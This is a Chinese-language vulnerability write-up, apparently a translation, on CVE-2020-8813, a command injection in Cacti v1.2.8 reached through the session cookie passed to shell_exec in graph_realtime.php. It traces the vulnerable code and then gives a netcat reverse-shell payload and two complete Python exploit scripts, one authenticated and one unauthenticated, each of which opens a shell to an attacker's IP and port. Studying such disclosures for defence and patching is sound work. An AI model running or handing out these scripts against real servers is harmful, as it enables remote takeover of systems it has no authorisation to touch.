（CVE-2020-8813）Cacti v1.2.8 远程命令执行漏洞
一、漏洞简介
需要拥有登录账号密码；或者网站启用了“ Gest Realtime Graphs”特权功能。
1、判断是否存在“/graph_realtime.php?action=init”链接
2、判断1、存在“poller_realtime.php”字样，则存在漏洞。
二、漏洞影响
Cacti v1.2.8
三、复现过程
漏洞分析
我通过分析Cacti主要代码中的多个功能的代码发现了此漏洞，我必须将多个因素联系在一起才能执行代码，该漏洞主要发生在攻击者尝试将恶意代码注入“ Cacti” cookie变量时，在与一些字符串连接后被传递给shell_exec函数，但是当我尝试操作cookie值时会遇到身份验证问题，这将使我无法访问该页面，因此解决了我注意到可以按以下方式访问易受攻击的页面：一个不需要进行身份验证即可访问的“来宾”，因此我链接了我的漏洞利用程序，以启用“ graph_realtime.php”页面的“来宾”视图，然后发出恶意请求，以便在主机上执行代码。
为了完成这项工作，首先，我需要向“ user_admin.php”页面发送请求以启用realtime_graph的“来宾”特权，然后再次将恶意请求发送至“ graph_realtime.php”页面。
因此，我像往常一样从超级简单的RCE扫描器脚本开始，以在Cacti中寻找RCE。
运行脚本后，在“ graph_realtime.php”文件中得到了一个有趣的结果：
graph_realtime.php
/* call poller */
$graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';
$command = read_config_option('path_php_binary');
$args = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);
shell_exec("$command $args");
/* construct the image name */
$graph_data_array['export_realtime'] = $graph_rrd;
$graph_data_array['output_flag'] = RRDTOOL_OUTPUT_GRAPH_DATA;
$null_param = array();
从行号170和171中可以看到，我们正在接收几个参数并将它们连接在一起，我们还可以看到有一个名为“ get_request_var”的函数，该函数执行以下操作：
html_utility.php
function get_request_var($name, $default = '') {
global $_CACTI_REQUEST;
$log_validation = read_config_option('log_validation');
if (isset($_CACTI_REQUEST[$name])) {
return $_CACTI_REQUEST[$name];
} elseif (isset_request_var($name)) {
if ($log_validation == 'on') {
html_log_input_error($name);
}
set_request_var($name, $_REQUEST[$name]);
return $_REQUEST[$name];
} else {
return $default;
}
}
正如我们所看到的，该函数将通过“ set_request_var”函数处理输入并设置参数值，该函数将执行以下操作：
html_utility.php
function set_request_var($variable, $value) {
global $_CACTI_REQUEST;
$_CACTI_REQUEST[$variable] = $value;
$_REQUEST[$variable] = $value;
$_POST[$variable] = $value;
$_GET[$variable] = $value;
}
因此，回到我们的“ graph_realtime.php”，我们可以看到我们可以控制以下几个输入：
- local_graph_id
- $ graph_data_array ['ds_step']的值
但不幸的是，由于以下几个原因，我们不能这样做：首先，我们注意到graph_realtime.php文件中的第171行使用sprintf来处理输入，并且我们可以看到第一个值“ graph”充满了我们可以控制的值“ local_graph_id”！但是再次不幸的是，该值将被名为“ get_filter_request_var”的函数过滤，我们可以看到它的值已在graph_realtime.php第38行中过滤，如下所示：
html_utility.php
function get_filter_request_var($name, $filter = FILTER_VALIDATE_INT, $options = array()) {
if (isset_request_var($name)) {
if (isempty_request_var($name)) {
set_request_var($name, get_nfilter_request_var($name));
return get_request_var($name);
} elseif (get_nfilter_request_var($name) == 'undefined') {
if (isset($options['default'])) {
set_request_var($name, $options['default']);
return $options['default'];
} else {
set_request_var($name, '');
return '';
}
} else {
if (get_nfilter_request_var($name) == '0') {
$value = '0';
} elseif (get_nfilter_request_var($name) == 'undefined') {
if (isset($options['default'])) {
$value = $options['default'];
} else {
$value = '';
}
} elseif (isempty_request_var($name)) {
$value = '';
} elseif ($filter == FILTER_VALIDATE_IS_REGEX) {
if (is_base64_encoded($_REQUEST[$name])) {
$_REQUEST[$name] = utf8_decode(base64_decode($_REQUEST[$name]));
}
$valid = validate_is_regex($_REQUEST[$name]);
if ($valid === true) {
$value = $_REQUEST[$name];
} else {
$value = false;
$custom_error = $valid;
}
} elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_ARRAY) {
$valid = true;
if (is_array($_REQUEST[$name])) {
foreach($_REQUEST[$name] AS $number) {
if (!is_numeric($number)) {
$valid = false;
break;
}
}
} else {
$valid = false;
}
if ($valid == true) {
$value = $_REQUEST[$name];
} else {
$value = false;
}
} elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_LIST) {
$valid = true;
$values = preg_split('/,/', $_REQUEST[$name], NULL, PREG_SPLIT_NO_EMPTY);
foreach($values AS $number) {
if (!is_numeric($number)) {
$valid = false;
break;
}
}
if ($valid == true) {
$value = $_REQUEST[$name];
} else {
$value = false;
}
} elseif (!cacti_sizeof($options)) {
$value = filter_var($_REQUEST[$name], $filter);
} else {
$value = filter_var($_REQUEST[$name], $filter, $options);
}
}
if ($value === false) {
if ($filter == FILTER_VALIDATE_IS_REGEX) {
$_SESSION['custom_error'] = __('The search term "%s" is not valid. Error is %s', html_escape(get_nfilter_request_var($name)), html_escape($custom_error));
set_request_var($name, '');
raise_message('custom_error');
} else {
die_html_input_error($name, get_nfilter_request_var($name));
}
} else {
set_request_var($name, $value);
return $value;
}
} else {
if (isset($options['default'])) {
set_request_var($name, $options['default']);
return $options['default'];
} else {
return;
}
}
}
该函数将过滤输入并返回一个干净的变量以传递给该函数。
另外，对于第二个变量“ $ graph_data_array ['ds_step']”，它已经通过sprintf处理为％d，表示“十进制值”，因此我们不能使用它来注入恶意命令。
那么我们怎样才能使这件事起作用呢？让我们再次看一下代码：
graph_realtime.php
/* call poller */
$graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';
$command = read_config_option('path_php_binary');
$args = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);
shell_exec("$command $args");
/* construct the image name */
$graph_data_array['export_realtime'] = $graph_rrd;
$graph_data_array['output_flag'] = RRDTOOL_OUTPUT_GRAPH_DATA;
$null_param = array();
我们得到另一个传递给shell_exec的变量，它是“ session_id（）”函数的值，该函数将返回用户当前会话的值，这意味着我们可以使用它来注入命令！
可是等等！如果我们操纵了会话，则将无法访问该页面，因为该页面要求对用户进行身份验证才能访问该页面。因此，在软件中进行了一些额外的挖掘之后，我发现如果我们能够以访客身份访问该页面启用了一种称为“实时图”的特殊特权，我们可以从此页面看到：
让我们尝试在没有启用“访客实时图”特权的情况下访问此页面：
如我们所见，由于权限问题，我们无法访问该页面，不允许尝试启用它并访问该页面以获取以下内容：
完美的是，我们访问了页面，现在我将向“ graph_realtime.php”发送请求，并添加一条调试语句，该语句将回显将传递给shell_exec的参数：
如我们所见，我们将会话打印输出给我们，因此让我们尝试将自定义字符串注入会话中，看看会发生什么：
payload编写
在控制了会话值之后，我们需要使用它来在系统上执行代码，但这仍然是一个会话值，这意味着即使对它进行编码也不能在其中使用某些字符，因此我们需要编写“会话友好” ”，我们可以注入这些有效负载而无需强制应用程序为我们生成另一个Cookie值。
例如，如果我对字符串“ Hi Payload”进行编码并将其传递给应用程序，我将得到以下信息：
如我们所见，该应用程序为我们设置了一个cookie而不是我们注入的cookie，因此要解决此问题，我们需要使用自定义有效负载。
因此，为了避免使用空格，我想到了使用“ $ {IFS}” bash变量来表示空格的想法。
当然，我们需要使用“;”转义命令 如下所示：
;payload
如果要使用netcat获得外壳，则需要创建以下有效负载：
;``nc``${IFS}-e${IFS}``/bin/bash``${IFS}ip${IFS}port
让我们尝试一下，首先对有效负载进行编码，以查看结果：
然后将其发送到应用程序以获取以下信息：
完整版的poc
为了自动化利用过程，我编写了一个python代码来利用此漏洞，利用此漏洞将处理登录过程以启用“来宾实时图”特权，然后将生成有效负载并将精心制作的请求发送到“ graph_realtime.php”页面为了获得反向壳。
这是完整的利用代码：
#!/usr/bin/python3
# Exploit Title: Cacti v1.2.8 Remote Code Execution
# Date: 03/02/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33
import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
if len(sys.argv) != 6:
print("[~] Usage : ./Cacti-exploit.py url username password ip port")
exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
def login(token):
login_info = {
"login_username": username,
"login_password": password,
"action": "login",
"__csrf_magic": token
}
login_request = request.post(url+"/index.php", login_info)
login_text = login_request.text
if "Invalid User Name/Password Please Retype" in login_text:
return False
else:
return True
def enable_guest(token):
request_info = {
"id": "3",
"section25": "on",
"section7": "on",
"tab": "realms",
"save_component_realm_perms": 1,
"action": "save",
"__csrf_magic": token
}
enable_request = request.post(url+"/user_admin.php?header=false", request_info)
if enable_request:
return True
else:
return False
def send_exploit():
payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
cookies = {'Cacti': quote(payload)}
requests.get(url+"/graph_realtime.php?action=init", cookies=cookies)
request = requests.session()
print("[+]Retrieving login CSRF token")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content, "html5lib")
token = soup.findAll('input')[0].get("value")
if token:
print("[+]Token Found : %s" % token)
print("[+]Sending creds ..")
login_status = login(token)
if login_status:
print("[+]Successfully LoggedIn")
print("[+]Retrieving CSRF token ..")
page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms")
html_content = page.text
soup = BeautifulSoup(html_content, "html5lib")
token = soup.findAll('input')[1].get("value")
if token:
print("[+]Making some noise ..")
guest_realtime = enable_guest(token)
if guest_realtime:
print("[+]Sending malicous request, check your nc ;)")
send_exploit()
else:
print("[-]Error while activating the malicous account")
else:
print("[-] Unable to retrieve CSRF token from admin page!")
exit()
else:
print("[-]Cannot Login!")
else:
print("[-] Unable to retrieve CSRF token!")
exit()
运行漏洞利用代码后，我们将获得以下内容：
未经身份验证的利用
如果Cacti启用了“来宾实时图”特权，则无需身份验证即可利用此漏洞，因此在这种情况下，不需要身份验证部分，您可以使用以下代码来利用此漏洞：
#!/usr/bin/python3
# Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution
# Date: 03/02/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33
import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
if len(sys.argv) != 4:
print("[~] Usage : ./Cacti-exploit.py url ip port")
exit()
url = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]
def send_exploit(url):
payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
cookies = {'Cacti': quote(payload)}
path = url+"/graph_realtime.php?action=init"
req = requests.get(path)
if req.status_code == 200 and "poller_realtime.php" in req.text:
print("[+] File Found and Guest is enabled!")
print("[+] Sending malicous request, check your nc ;)")
requests.get(path, cookies=cookies)
else:
print("[+] Error while requesting the file!")
send_exploit(url)
如我们所见，如果启用了“ Gest Realtime Graphs”特权，我们也可以毫无问题地利用它，因此最好检查“ graph_realtime.php”文件是否具有此访问特权。
参考链接
https://shells.systems/cacti-v1-2-8-authenticated-remote-code-execution-cve-2020-8813/